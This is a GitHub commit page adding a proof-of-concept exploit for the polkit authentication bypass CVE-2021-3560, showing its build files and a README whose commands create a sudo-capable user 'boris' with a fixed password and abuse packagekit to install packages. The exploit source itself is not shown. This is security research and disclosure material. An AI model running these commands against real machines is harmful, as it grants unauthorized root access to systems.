Skip to content

Commit bce1a1e

Browse files
PoC for authentication bypass in polkit (CVE-2021-3560)
1 parent ad51b51 commit bce1a1e

7 files changed

Lines changed: 873 additions & 0 deletions

File tree

.gitmodules

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
[submodule "SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse"]
2+
path = SecurityExploits/polkit/authentication_bypass_CVE-2021-3560/DBusParse
3+
url = https://github.com/kevinbackhouse/DBusParse.git
Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
build
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
cmake_minimum_required(VERSION 3.10)
2+
3+
enable_testing()
4+
5+
# set the project name
6+
project(GHSL-2021-074-polkit VERSION 1.0.0 DESCRIPTION "Proof of concept exploit for GHSL-2021-074: authentication bypass in polkit")
7+
8+
# specify the C++ standard
9+
set(CMAKE_CXX_STANDARD 17)
10+
set(CMAKE_CXX_STANDARD_REQUIRED True)
11+
12+
option(USE_SANITIZERS "Enable ASAN and UBSAN" OFF)
13+
14+
add_compile_options(-Wall -Wextra -pedantic -Werror)
15+
16+
if (USE_SANITIZERS)
17+
set(SANITIZER_FLAGS "-fsanitize=address,undefined")
18+
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${SANITIZER_FLAGS}")
19+
set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${SANITIZER_FLAGS}")
20+
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
21+
set(CMAKE_MODULE_LINKER_FLAGS "${CMAKE_MODULE_LINKER_FLAGS} ${SANITIZER_FLAGS}")
22+
endif()
23+
24+
add_subdirectory(DBusParse)
25+
26+
add_executable(createuser createuser.cpp)
27+
target_link_libraries(createuser PUBLIC DBusParse DBusParseUtils crypt)
28+
target_include_directories(
29+
createuser PRIVATE
30+
$<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>)
31+
32+
add_executable(installpackage installpackage.cpp)
33+
target_link_libraries(installpackage PUBLIC DBusParse DBusParseUtils crypt)
34+
target_include_directories(
35+
installpackage PRIVATE
36+
$<BUILD_INTERFACE:${PROJECT_SOURCE_DIR}/DBusParse/include/DBusParse>)
Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
# CVE-2021-3560
2+
3+
This directory contains a proof of concept exploit for CVE-2021-3560:
4+
an authentication bypass vulnerability in
5+
[polkit](https://gitlab.freedesktop.org/polkit/polkit).
6+
7+
The vulnerability is described in [this blog
8+
post](https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/).
9+
10+
# Build
11+
12+
Instructions for building the PoC:
13+
14+
```bash
15+
git submodule update --init # Download https://github.com/kevinbackhouse/DBusParse
16+
mkdir build
17+
cd build
18+
cmake ..
19+
make
20+
```
21+
22+
# Running
23+
24+
The PoC exploits an authentication bypass vulnerability in polkit
25+
to create a new user account with `sudo` privileges.
26+
27+
Note: if the PoC is run in a graphical session such as GNOME, then it
28+
will cause the dialog box for the authentication agent to pop up
29+
repeatedly, which is very annoying and also prevents the PoC from
30+
working. That is why the first step in the instructions below is
31+
`ssh localhost`.
32+
33+
```bash
34+
ssh localhost
35+
cd build
36+
./createuser /var/run/dbus/system_bus_socket boris iaminvincible!
37+
```
38+
39+
Assuming that the PoC is successful, there should now be a user named
40+
`boris`:
41+
42+
```bash
43+
$ id boris
44+
uid=1008(boris) gid=1008(boris) groups=1008(boris),27(sudo)
45+
```
46+
47+
You can now login as boris, using password "iaminvincible!":
48+
49+
```bash
50+
su - boris # password: iaminvincible!
51+
```
52+
53+
And since `boris` is a member of the `sudo` group, you can now escalate
54+
privileges to `root`.
55+
56+
## Non-graphical systems
57+
58+
The `createuser` PoC depends on two packages being installed:
59+
`accountsservice` and `gnome-control-center`. Those packages might not
60+
be installed on some systems, such as a non-graphical RHEL server.
61+
However, the polkit vulnerability can also be used to exploit
62+
[packagekit](https://packagekit.freedesktop.org/), which means that we
63+
can use the vulnerability to install `accountsservice` and
64+
`gnome-control-center`.
65+
66+
You can run the `packagekit` PoC like this:
67+
68+
```bash
69+
./installpackage /var/run/dbus/system_bus_socket gnome-control-center
70+
```

0 commit comments

Comments
 (0)